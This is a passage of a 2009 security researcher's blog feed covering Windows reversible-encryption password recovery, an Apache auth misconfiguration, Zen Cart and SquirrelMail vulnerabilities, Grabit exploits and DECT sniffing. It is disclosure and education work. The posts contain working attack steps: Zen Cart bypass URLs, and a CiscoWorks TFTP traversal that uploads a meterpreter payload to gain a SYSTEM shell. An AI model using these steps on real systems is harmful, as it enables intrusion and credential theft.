href=&quot;http://www.rehash.nl&quot;&gt;here&lt;/a&gt; or download it &lt;a href=&quot;http://jinx.etv.cx/har/mp4/&quot;&gt;here&lt;/a&gt; or &lt;a href=&quot;http://space.oeste.de/har2009/images1.noterik.com/har/&quot;&gt;here&lt;/a&gt;.</description><link>http://blog.teusink.net/2009/08/har-2009-talk-references.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-8429775373608918409</guid><pubDate>Tue, 25 Aug 2009 17:36:00 +0000</pubDate><atom:updated>2009-08-25T19:40:49.964+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">reversible encryption</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><title>Passwords stored using reversible encryption: how it works (part 1)</title><description>In case you missed my HAR2009 talk: in the second part I talked about a Windows feature called ‘Store passwords using reversible encryption’. When this is enabled (per user or for the entire domain), Windows stores the password encrypted, but in such a way that it can reverse the encryption and recover the plaintext password. This feature exists because some authentication protocols require the plaintext password to function correctly, the two most common examples are HTTP Digest Authentication and CHAP.&lt;br /&gt;&lt;br /&gt;This feature is not enabled by default but I’ve seen it a couple of times in customer networks. As I couldn’t find any description of how this mechanism works or any tool to recover these passwords, I decided to investigate.&lt;br /&gt;&lt;br /&gt;When you change your password on a domain that has reversible encryption enabled, a &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms722496%28VS.85%29.aspx&quot;&gt;password filter&lt;/a&gt; called RASSFM.DLL is used to store the password using reversible encryption. The key that is used to do this is G$MSRADIUSCHAPKEY, which is stored as a global &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms721811%28VS.85%29.aspx&quot;&gt;LSA secret&lt;/a&gt;. This key is decrypted using a static key  (hardcoded in the DLL). The result of this operation is combined with a 16-byte random value (generated every time someone changes their password) and that key is used to encrypt a Unicode version of the password using the RC4 algorithm.&lt;br /&gt;&lt;br /&gt;I found out these passwords are stored in Active Directory in a per-user structure called userParameters. If you use a tool such as &lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx&quot;&gt;AD Explorer&lt;/a&gt; you can look at this structure in an AD that has enabled this feature. When you look at this structure, it looks like a binary blob, with some human-readable parts in there. When you enable reversible encryption you will notice two readable strings: G$RADIUSCHAP and G$RADIUSCHAPKEY. The userParameters can also be used to store settings unrelated to reversible encryption, such as per-user Terminal Server settings.&lt;br /&gt;&lt;br /&gt;Following the G$RADIUSCHAP part is the ascii-hex encoded encrypted password. The part following the G$RADIUSCHAPKEY name is the 16-byte random value.&lt;br /&gt;&lt;br /&gt;So to decrypt this password we use the following steps:&lt;br /&gt;-    Take the G$MSRADIUSCHAPKEY Global LSA secret&lt;br /&gt;-    Decrypt it using the static key&lt;br /&gt;-    Parse the userParameters structure and extract the G$RADIUSCHAP and G$RADIUSCHAPKEY values&lt;br /&gt;-    Combine the value of G$RADIUSCHAPKEY (the 16-byte random) with the decrypted LSA secret to create an RC4 key&lt;br /&gt;-    Decrypt the value of G$RADIUSCHAP using that RC4 key&lt;br /&gt;&lt;br /&gt;The result is a plaintext Unicode password. My tool &#39;Revdump&#39; automates this procedure.&lt;br /&gt;&lt;br /&gt;In part two of this article, I will look at the security of this mechanism.</description><link>http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-3772767018435569506</guid><pubDate>Sat, 15 Aug 2009 11:00:00 +0000</pubDate><atom:updated>2010-01-06T20:09:59.909+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">HAR 2009</category><title>RevDump v0.2 release</title><description>This is my tool to dump password stored using &lt;a href=&quot;http://technet.microsoft.com/en-us/library/cc784581%28WS.10%29.aspx&quot;&gt;reversible encryption&lt;/a&gt;. You can download it &lt;a href=&quot;http://www.teusink.net/Revdump_0.2.zip&quot;&gt;here&lt;/a&gt;. Enjoy your stay at &lt;a href=&quot;http://har2009.org/&quot;&gt;HAR&lt;/a&gt;.</description><link>http://blog.teusink.net/2009/08/revdump-v02-release_15.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-4813029537497152096</guid><pubDate>Thu, 23 Jul 2009 18:48:00 +0000</pubDate><atom:updated>2009-07-23T21:14:38.329+02:00</atom:updated><title>A common Apache .htaccess misconfiguration</title><description>If you want to restrict a directory on an Apache server to specific users, you will probably use an &lt;a href=&quot;http://httpd.apache.org/docs/2.0/howto/htaccess.html&quot;&gt;.htaccess/.htpasswd&lt;/a&gt; configuration. This allows you to add authentication to a directory or an entire site. The sad thing is, if I &lt;a href=&quot;http://www.google.com/search?q=.htaccess+example+%22require+valid-user%22&quot;&gt;search&lt;/a&gt; for sample configurations on Google, five out of ten examples are insecure…&lt;br /&gt;&lt;br /&gt;In fact years ago, I made the mistake of taking one of those sample configurations and used it on a site I had made. A typical .htaccess example you will find often looks like this:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;AuthUserFile   /var/www/.htpasswd&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;AuthName &quot;My Private Files&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;AuthType Basic&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;&amp;lt;limit GET POST&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;require valid-user&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;&amp;lt;/limit&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A rather straightforward example, so what is the problem? This configuration only partially restricts access to the ‘protected’ resource. The issue is in the &lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/core.html#limit&quot;&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;&amp;lt;limit&amp;gt;&lt;/span&gt;&lt;/a&gt; tag. This tag restricts access to the resource if the request uses one of the specified HTTP methods, in this case GET and POST. Although these are the most popular methods, they certainly are not the only ones. &lt;a href=&quot;http://www.ietf.org/rfc/rfc2616.txt&quot;&gt;RFC2616&lt;/a&gt; (HTTP 1.1) lists eight methods: GET, POST, HEAD, OPTIONS, PUT, DELETE, CONNECT and TRACE. &lt;a href=&quot;http://www.ietf.org/rfc/rfc2518.txt&quot;&gt;RFC2518&lt;/a&gt; (WebDAV) adds a couple more. In other words, if you use one of the other one request methods, you can bypass the authentication. In some cases, using one of those methods will give you the protected page contents. You can also &lt;a href=&quot;https://www.science.uva.nl/ict/guides/www/access/index_nl.html&quot;&gt;find&lt;/a&gt; &lt;a href=&quot;http://ist.mit.edu/services/web/reference/web-resources/https&quot;&gt;plenty&lt;/a&gt; &lt;a href=&quot;http://www.udel.edu/topics/internet/WWW/restricting.html&quot;&gt;of&lt;/a&gt; &lt;a href=&quot;https://dir.jpl.nasa.gov/developer/setup-apache-ldap1.3_text.html&quot;&gt;examples&lt;/a&gt; (yes, the last one is nasa.gov) that don’t even limit GET and POST, but just GET, meaning a simple POST request will bypass authentication completely.&lt;br /&gt;&lt;br /&gt;The solution? Simple, do not use the &lt;span style=&quot;font-family:courier new;&quot;&gt;&amp;lt;limit&amp;gt;&lt;/span&gt; tag at all. If you omit it, all methods are restricted. If you are in a situation where you want to allow specific request methods, you should use &lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/core.html#limitexcept&quot;&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;&amp;lt;limitexcept&amp;gt;&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is certainly not a new issue, it was documented in Apacheweek magazine &lt;a href=&quot;http://www.apacheweek.com/issues/97-09-05#configerrors&quot;&gt;in 1997&lt;/a&gt;. You can also find Bugtraq posts detailing instances of the issue, for example &lt;a href=&quot;http://www.securityfocus.com/archive/1/472756/30/0/threaded&quot;&gt;this one&lt;/a&gt; which describes an application that restricts only the GET method. If you want more details on this issue, Kernelpanik released a paper about it in 2004, you can find it &lt;a href=&quot;http://www.kernelpanik.org/docs/kernelpanik/bme.eng.pdf&quot;&gt;here&lt;/a&gt; (pdf).</description><link>http://blog.teusink.net/2009/07/common-apache-htaccess-misconfiguration.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7100230881399559801</guid><pubDate>Mon, 06 Jul 2009 20:15:00 +0000</pubDate><atom:updated>2009-07-06T22:18:09.575+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">HAR 2009</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Speaking at HAR 2009</title><description>The &lt;a href=&quot;https://har2009.org/program/&quot;&gt;program&lt;/a&gt; for &lt;a href=&quot;https://har2009.org/&quot;&gt;HAR 2009&lt;/a&gt; was publicly announced a couple of days ago and I’m on the speakers list. My talk is called &#39;&lt;a href=&quot;https://har2009.org/program/events/63.en.html&quot;&gt;How we break into domains&lt;/a&gt;&#39; and I will go over the steps I usually take when breaking into Windows domains. I have an hour for my talk, so I should be able to cover the technical details as well. Of course, I will also be presenting some new stuff I’ve been working on.&lt;br /&gt;&lt;br /&gt;I had a lot of fun at the two previous events (&lt;a href=&quot;http://www.hal2001.org/&quot;&gt;HAL 2001&lt;/a&gt; and &lt;a href=&quot;http://whatthehack.org/&quot;&gt;WTH 2005&lt;/a&gt;) and am glad I can contribute a talk this year. See you all at HAR!</description><link>http://blog.teusink.net/2009/07/speaking-at-har-2009.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-699882906704717018</guid><pubDate>Wed, 24 Jun 2009 22:10:00 +0000</pubDate><atom:updated>2009-06-25T14:35:06.014+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">exploit</category><category domain="http://www.blogger.com/atom/ns#">exploit development</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">zen cart</category><title>Zen Cart authentication bypass</title><description>&lt;a href=&quot;http://www.zen-cart.com/&quot;&gt;Zen Cart&lt;/a&gt; is a popular open source e-commerce application, written in PHP. Yesterday, &lt;a href=&quot;http://www.milw0rm.com/exploits/9004&quot;&gt;two&lt;/a&gt; &lt;a href=&quot;http://www.milw0rm.com/exploits/9005&quot;&gt;exploits&lt;/a&gt; for Zen Cart showed up on milw0rm. The first one is a remote code execution, the second one an SQL injection exploit. The root cause of the two bugs however, is the same: an authentication bypass on the administrative interface of Zen Cart discoverd by Ghyslain/BlackH. Zen Cart has released a patch for this issue &lt;a href=&quot;http://www.zen-cart.com/forum/showthread.php?t=130161&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Zen Cart does a pretty decent job verifying administrators are actually authenticated, however it has some exceptions to the rule:&lt;br /&gt;&lt;br /&gt;This code is present in &lt;span style=&quot;font-family:courier new;&quot;&gt;/admin/includes/init_includes/init_admin_auth.php&lt;/span&gt; (slightly simplified code):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;if (if (!isset($_SESSION[&#39;admin_id&#39;]) &amp;amp;&amp;amp;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;!(basename($SERVER[&#39;PHP_SELF&#39;]) == &#39;password_forgotten.php&#39;)) {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    zen_redirect(&#39;login.php&#39;);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So basically, if you are not logged in, Zen Cart will redirect you to the login page, unless you are accessing the password_forgotten.php page.&lt;br /&gt;&lt;br /&gt;The problem here is trusting the &lt;span style=&quot;font-family:courier new;&quot;&gt;PHP_SELF&lt;/span&gt; variable to determine which script is being accessed. Here a bit of strange PHP behaviour comes in. If I request &lt;span style=&quot;font-family:courier new;&quot;&gt;http://server.com/index.php&lt;/span&gt;, the &lt;span style=&quot;font-family:courier new;&quot;&gt;PHP_SELF&lt;/span&gt; variable will be &lt;span style=&quot;font-family:courier new;&quot;&gt;/index.php&lt;/span&gt;. However if I request &lt;span style=&quot;font-family:courier new;&quot;&gt;http://server.com/index.php/foobar&lt;/span&gt; , the &lt;span style=&quot;font-family:courier new;&quot;&gt;PHP_SELF&lt;/span&gt; variable will be &lt;span style=&quot;font-family:courier new;&quot;&gt;/index.php&lt;/span&gt;/foobar, but the script being executed will still be index.php!&lt;br /&gt;&lt;br /&gt;So in this case we can trick Zen Cart into thinking we are accessing &lt;span style=&quot;font-family:courier new;&quot;&gt;password_forgotten.php&lt;/span&gt;, while we are actually accessing a different file by requesting:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;http://target/admin/customers.php/password_forgotten.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The file we are executing is &lt;span style=&quot;font-family:courier new;&quot;&gt;customers.php&lt;/span&gt;, but &lt;span style=&quot;font-family:courier new;&quot;&gt;basename(PHP_SELF)&lt;/span&gt; will return &lt;span style=&quot;font-family:courier new;&quot;&gt;password_forgotten.php&lt;/span&gt;! Zen Cart thinks we are accessing the ‘I forgot my password’ page, which does not require authentication and allows us to continue without logging in. We can now view a list of customers on our target site, without logging in!&lt;br /&gt;&lt;br /&gt;The code execution exploit uses this to access an admin script that allows an administrator to create new files. The exploit uses this functionality to create a new php file on the server, this php file contains a simple backdoor and voila: remote code execution.&lt;br /&gt;&lt;br /&gt;Luckily Zen Cart has released a fix for this (although I expect most installations are still vulnerable). I took a look at the patch and noticed it attempts to fix the bug by checking if the string &#39;.php&#39; appears more than once in &lt;span style=&quot;font-family:courier new;&quot;&gt;PHP_SELF&lt;/span&gt;.  At first this seems to be an (ugly but) effective fix and I think it is in most cases. However,  Zen Cart supports multiple platforms, including Windows. As you may know, filenames on Windows are not case sensitive (foo.txt is the same as foo.TXT). The new check however only checks for lowercase instances of &#39;.php&#39;… So if our target is a Windows system, we can circumvent the patch by requesting:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;http://target/admin/customers.PHP/password_forgotten.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So by changing the extension of customers.php to .PHP, we modify the &lt;span style=&quot;font-family:courier new;&quot;&gt;PHP_SELF&lt;/span&gt; variable so &#39;.php&#39; is only present once and bypass the new check! I modified the code execution exploit on milw0rm to reflect this and was able to succesfully exploit my installation of Zen Cart on a Windows platform.&lt;br /&gt;&lt;br /&gt;Of course I notified the Zen Cart developers of the shortcoming in their patch and they have released an updated version which does a case insensitive check.</description><link>http://blog.teusink.net/2009/06/zen-cart-authentication-bypass.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-4893007977570818359</guid><pubDate>Thu, 04 Jun 2009 18:44:00 +0000</pubDate><atom:updated>2009-06-04T20:49:00.031+02:00</atom:updated><title>Slides of my OWASP talk on CSRF</title><description>Last week I gave a VAC (Vulnerability, Attack, Countermeasure) talk at an OWASP Netherlands meeting. I picked Cross-Site Request Forgery (CSRF) as a topic as it is an often misunderstood and underestimated problem.&lt;br /&gt;&lt;br /&gt;My slides (in English) are available on the OWASP site &lt;a href=&quot;http://www.owasp.org/images/f/fb/20090409_VAC-CSRF-Niels_Teusink.pdf&quot;&gt;here&lt;/a&gt;. I am planning on releasing another version of the slides in the OWASP template and with speaker notes for easier reuse. The last slide lists some good resources and interesting case studies (including more information on the case studies used in the presentation).</description><link>http://blog.teusink.net/2009/06/sheets-of-my-owasp-talk-on-csrf.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-4213547608963422390</guid><pubDate>Sat, 23 May 2009 21:57:00 +0000</pubDate><atom:updated>2009-05-26T23:50:37.641+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CiscoWorks</category><category domain="http://www.blogger.com/atom/ns#">directory traversal</category><category domain="http://www.blogger.com/atom/ns#">exploit</category><category domain="http://www.blogger.com/atom/ns#">exploitation</category><category domain="http://www.blogger.com/atom/ns#">TFTP</category><title>CiscoWorks TFTP directory traversal exploit</title><description>A couple of days ago, Cisco released an &lt;a href=&quot;http://http//www.cisco.com/warp/public/707/cisco-sa-20090520-cw.shtml&quot;&gt;advisory&lt;/a&gt; for a CiscoWorks TFTP directory traversal vulnerability. The bug was discovered by Cisco internally. So far I have not seen any details published so I decided to see if I could find the bug. I have access to a Windows 2000 machine running CiscoWorks Common Services 3.0.3. It is not the most recent version, but it is listed in the advisory as vulnerable. The TFTP server is indeed enabled by default and exploitation is trivial:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    niels@hac:~$ tftp target &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    tftp&gt; get ...\...\...\...\...\...\...\boot.ini &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    Received 187 bytes in 0.0 seconds &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    tftp&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Assuming this is the same bug (and not just present in my old version) I&#39;m surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.&lt;br /&gt;&lt;br /&gt;The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.&lt;br /&gt;&lt;br /&gt;The TFTP root is &quot;&lt;span style=&quot;font-family:courier new;&quot;&gt;C:\Program Files\CSCOpx\tftpboot&lt;/span&gt;&quot; by default. The directory &quot;&lt;span style=&quot;font-family:courier new;&quot;&gt;C:\Program Files\CSCOpx\cgi-bin\error&lt;/span&gt;&quot; contains several publicly accessible CGI scripts, such as 404.pl and 500.pl.&lt;br /&gt;&lt;br /&gt;I replaced 500.pl with an executable, in my case a standalone meterpreter generated using msfpayload:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    tftp&gt; binary&lt;br /&gt;tftp&gt; put meter.exe ...\cgi-bin\error\500.pl &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    Sent 9732 bytes in 0.1 seconds &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Apache expects a Perl file, so we will need a wrapper to start 500.pl (which is really an .exe, not a Perl file), so I created a small Perl script which just does a &lt;span style=&quot;font-family:courier new;&quot;&gt;system(&quot;500.pl&quot;);&lt;/span&gt; and uploaded it to the server:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    tftp&gt; put exec.pl ...\cgi-bin\error\404.pl    &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    Sent 36 bytes in 0.0 seconds &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Windows won&#39;t mind that the 500.pl file does not have an .exe extension, as long as we execute it via the 404.pl file. So now I simply point a web browser to http://target:1741/cgi-bin/error/404.pl. 404.pl executes our meterpreter and game over:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    [*] Meterpreter session 1 opened (hac:4444 -&gt; target:1298)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;    meterpreter &gt; &lt;/span&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;getuid&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Update:&lt;/span&gt; I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.</description><link>http://blog.teusink.net/2009/05/ciscoworks-tftp-directory-traversal.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7772771367451765644</guid><pubDate>Tue, 12 May 2009 19:45:00 +0000</pubDate><atom:updated>2009-05-12T22:50:33.915+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">squirrelmail</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">XSS</category><title>Time to update SquirrelMail</title><description>Today Squirrelmail released version 1.4.18. This version fixes a couple of vulnerabilities, some of which I spotted while browsing through SquirrelMail source code while installing it:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A reflected XSS caused by unsafe handling of the &lt;span style=&quot;font-family:courier new;&quot;&gt;$PHP_SELF&lt;/span&gt; variable&lt;/li&gt;&lt;li&gt;A reflected XSS caused by unsafe handling of user supplied encrypted data&lt;/li&gt;&lt;li&gt;A remote command execution vulnerability (only in very specific configurations)&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;The &lt;a href=&quot;http://www.squirrelmail.org/security/issue/2009-05-08&quot;&gt;first XSS&lt;/a&gt; is caused by the fact that SquirrelMail only used the &lt;a href=&quot;http://nl2.php.net/strip_tags&quot;&gt;strip_tags&lt;/a&gt; function to filter this variable. As the variable is often used within tags, you can still inject additional HTML attributes (think onmouseover). This was exploitable in multiple scripts. SquirrelMail now uses &lt;a href=&quot;http://nl2.php.net/htmlspecialchars&quot;&gt;htmlspecialchars&lt;/a&gt; instead.&lt;br /&gt;&lt;br /&gt;The &lt;a href=&quot;http://www.squirrelmail.org/security/issue/2009-05-09&quot;&gt;second XSS&lt;/a&gt; is rather interresting. SquirrelMail comes with a test &lt;a href=&quot;http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/trunk/squirrelmail/contrib/decrypt_headers.php&quot;&gt;script&lt;/a&gt; which (given ciphertext and a key) decrypts user supplied data. The decrypted data was then displayed unfiltered (resulting in an obvious XSS). Pretty stealthy and should circumvent any IDS or WAF. Having this kind of script in your webroot is obviously a bad idea anyway.&lt;br /&gt;&lt;br /&gt;The &lt;a href=&quot;http://www.squirrelmail.org/security/issue/2009-05-10&quot;&gt;last bug&lt;/a&gt; occurs only in very specific configurations. If you have more than one imap server, there is &lt;a href=&quot;http://squirrelmail.org/docs/admin/admin-5.html#ss5.8&quot;&gt;a way&lt;/a&gt; to configure that in SquirrelMail. If you configure this &lt;span style=&quot;font-weight: bold;&quot;&gt;and&lt;/span&gt; use the example &lt;span style=&quot;font-family:courier new;&quot;&gt;map_yp_alias&lt;/span&gt; function for this, unauthenticated attackers could execute shell commands on your server. If you built your own function for this, you should probably check if it handles input correctly. It is unlikely that you&#39;re running this kind of configuration, but there are probably a couple of installations out there using this.&lt;br /&gt;&lt;b&gt;&lt;/b&gt;</description><link>http://blog.teusink.net/2009/05/time-to-update-squirrelmail.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7583015710155548317</guid><pubDate>Thu, 07 May 2009 20:23:00 +0000</pubDate><atom:updated>2009-05-10T11:14:21.877+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">exploit development</category><category domain="http://www.blogger.com/atom/ns#">Grabit</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Grabit exploits are available (but not working)</title><description>I have seen two exploits so far for the NZB overflow, both on &lt;a href=&quot;http://milw0rm.com/&quot;&gt;milw0rm&lt;/a&gt; (&lt;a href=&quot;http://milw0rm.com/exploits/8612&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://milw0rm.com/exploits/8637&quot;&gt;here&lt;/a&gt;). I took a look at the code and they do not look very reliable, in fact both of them suffer from the same problem I initially had when exploiting the bug.&lt;br /&gt;&lt;br /&gt;The exploits on milw0rm are tuned for very specific environments, this is caused by the fact that Grabit prepends the current directory to the string copied in the buffer. The authors created the NZB exploits in a specific directory and the exploits will not work if they place it in another one with a different path length (this is why the second exploit has two &#39;targets&#39;).&lt;br /&gt;&lt;br /&gt;When I was creating an exploit, this seemed like a serious problem for exploit reliability to me. But when tracing through the code, you will notice that the directory is not always prepended. If the DTD reference is to an absolute path (instead of a relative one), it will not prepend the directory and exploitation is a lot more reliable. After I fixed this in the two exploits, they work just fine on my system.</description><link>http://blog.teusink.net/2009/05/grabit-exploits-are-available.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-6639258355293514719</guid><pubDate>Sun, 03 May 2009 21:21:00 +0000</pubDate><atom:updated>2009-05-03T23:23:53.640+02:00</atom:updated><title>Grabit &lt;= 1.7.2 beta 3 NZB file parsing stack overflow</title><description>I can’t usually find the time for vulnerability research, but a while ago I found a bug in &lt;a href=&quot;http://shemes.com/index.php?p=home&quot;&gt;Grabit&lt;/a&gt;, a popular usenet client with NZB support. I posted the following message to &lt;a href=&quot;http://www.securityfocus.com/archive/1&quot;&gt;Bugtraq&lt;/a&gt; and &lt;a href=&quot;https://lists.grok.org.uk/mailman/listinfo/full-disclosure&quot;&gt;Full Disclosure&lt;/a&gt; today:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Grabit &lt;= 1.7.2 beta 3 NZB file parsing stack overflow&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Impact: Remote code execution&lt;br /&gt;Version: &lt;= 1.7.2 beta 3&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Description&lt;/span&gt;&lt;br /&gt;Grabit is a popular Windows usenet client designed for downloading binary files. It has support for NZB files, which a user would usually acquire from an external source. Version 1.7.2 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files. Earlier versions are vulnerable as well. Reliable exploitation is pretty straightforward.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Fix&lt;/span&gt;&lt;br /&gt;I reported this to the author a while ago. He has now released version 1.7.2 beta  4, which fixes the bug. It can be downloaded at http://www.shemes.com/</description><link>http://blog.teusink.net/2009/05/grabit-172-beta-3-nzb-file-parsing.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-2017240025470156968</guid><pubDate>Wed, 08 Apr 2009 19:33:00 +0000</pubDate><atom:updated>2009-04-09T08:00:24.609+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">afluisteren</category><category domain="http://www.blogger.com/atom/ns#">DECT</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">sniffing</category><category domain="http://www.blogger.com/atom/ns#">telefonie</category><title>Tonight on Dutch television, NOVA: Het afluisteren van DECT-telefoons</title><description>In other words, some Dutch media attention on DECT eavesdropping. There has been very little coverage of DECT security issues in the Dutch media, so I’m hoping this broadcast will change that.&lt;br /&gt;&lt;br /&gt;DECT sniffing has become easier since &lt;a href=&quot;http://blog.teusink.net/2009/01/my-dect-handset-actually-wants-to.html&quot;&gt;my last post&lt;/a&gt;. COM-ON-AIR prices seem to be going down again on eBay and people are selling pre-made boot  CD’s for DECT sniffing. So no Linux installation necessary anymore, someone can simply buy a COM-ON-AIR card and a CD, pop both of them in a laptop and start sniffing. Needless to say, eavesdropping on your neighbours conversations is illegal, so only use this if you have permission.&lt;br /&gt;&lt;br /&gt;I purchased a couple of cards for Fox-IT shortly after the issue became public. As a part of penetration tests, I have already tested DECT security at some of our customers. The results are pretty much as you would expect.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Update:&lt;/span&gt; Some shocking details from the broadcast: phone conversations of the Dutch IRS (Belastingdienst), the police, a hospital and a Dutch government minister all can be easily intercepted. First viewer reactions on the NOVA site are of course &#39;Where can I get one of those eavesdropping things, it sounds like fun&#39;.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Update2:&lt;/span&gt; &lt;a href=&quot;http://nieuws.nl.msn.com/algemeen/article.aspx?cp-documentid=15833936&quot;&gt;It&lt;/a&gt; &lt;a href=&quot;http://www.depers.nl/binnenland/298724/Privegesprek-af-te-luisteren.html&quot;&gt;looks&lt;/a&gt; &lt;a href=&quot;http://www.trouw.nl/nieuws/nederland/article2516509.ece/_Gevoelige_telefoontjes_simpel_af_te_luisteren_.html&quot;&gt;like&lt;/a&gt; &lt;a href=&quot;http://www.spitsnieuws.nl/archives/tech/2009/04/huistelefoon_blijft_simpel_af.html&quot;&gt;the&lt;/a&gt; &lt;a 